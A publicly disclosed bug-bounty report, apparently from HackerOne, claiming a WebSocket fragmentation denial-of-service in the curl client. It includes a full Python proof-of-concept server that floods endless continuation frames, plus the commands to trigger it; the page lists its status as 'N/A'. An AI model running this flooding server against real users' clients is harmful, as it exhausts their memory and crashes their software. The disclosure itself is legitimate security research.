HexBrain

curl · Report #3303765

WebSocket Fragmentation DoS on Curl Client

N/Astatus
highseverity
32upvotes
19 Aug 2025disclosed

How it was found

Summary

A malicious WebSocket server can send a fragmented message (FIN=0) followed by a flood of continuation frames, causing the client (curl) to continuously allocate memory while waiting for message completion. This can result in high memory usage and potential crash (OOM), representing a Denial-of-Service vulnerability.


Description

The vulnerability occurs because curl does not limit the number of continuation frames for an unfinished WebSocket message. An attacker controlling a WebSocket server can send:

  1. Initial text frame with FIN=0 (indicating message continuation).
  2. An unbounded number of continuation frames (opcode=0, FIN=0).

This causes curl to continuously buffer incoming data until memory is exhausted. The script ws_frag_poc.py demonstrates the behavior.


Steps to Reproduce

  1. Save the following PoC script as ws_frag_poc.py:
#!/usr/bin/env python3
# ws_frag_poc.py - DoS PoC for WebSocket fragmentation
import socket, base64, hashlib, threading

HOST, PORT = "0.0.0.0", 8765

def make_handshake_response(key):
    GUID = b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
    accept = base64.b64encode(hashlib.sha1(key + GUID).digest()).decode()
    return (
        "HTTP/1.1 101 Switching Protocols\r\n"
        "Upgrade: websocket\r\n"
        "Connection: Upgrade\r\n"
        f"Sec-WebSocket-Accept: {accept}\r\n\r\n"
    ).encode()

def make_frame(fin, opcode, payload):
    first = (0x80 if fin else 0x00) | (opcode & 0x0f)
    plen = len(payload)
    header = bytes([first])
    if plen <= 125: header += bytes([plen])
    elif plen < 65536: header += bytes([126]) + plen.to_bytes(2, 'big')
    else: header += bytes([127]) + plen.to_bytes(8, 'big')
    return header + payload

def handle_client(conn, addr):
    data = conn.recv(4096)
    key = next((l.split(b":",1)[1].strip() for l in data.split(b"\r\n") if l.lower().startswith(b"sec-websocket-key:")), None)
    if not key: return conn.close()
    conn.sendall(make_handshake_response(key))
    conn.sendall(make_frame(fin=False, opcode=1, payload=b"X"*4))
    frag_payload = b"A"*32
    while True:
        conn.sendall(make_frame(fin=False, opcode=0, payload=frag_payload))

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    while True:
        conn, addr = s.accept()
        threading.Thread(target=handle_client, args=(conn, addr), daemon=True).start()

if __name__ == "__main__":
    main()
  1. Run the PoC:
python3 ws_frag_poc.py
  1. In another terminal, connect using curl:
curl --include --no-buffer --output /dev/null ws://127.0.0.1:8765
  1. Monitor memory usage:
ps -o pid,rss,cmd -p <curl_pid>
top -p <curl_pid>
ps aux | grep curl

Expected Result

Curl should handle fragmented messages without unbounded memory growth.

Actual Result

Memory usage grows continuously, CPU spikes, process may hang or crash (OOM).


Mitigation / Recommendation

  • Implement limits on the number of continuation frames for unfinished WebSocket messages.
  • Consider maximum message size or memory allocation threshold to prevent client-side DoS.
  • Add proper validation of FIN/fragmented frames in the WebSocket implementation.

References

Impact

  • High memory consumption on the client.
  • Potential crash or process termination (OOM) in curl.
  • Can be triggered remotely if the client connects to a malicious WebSocket server.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original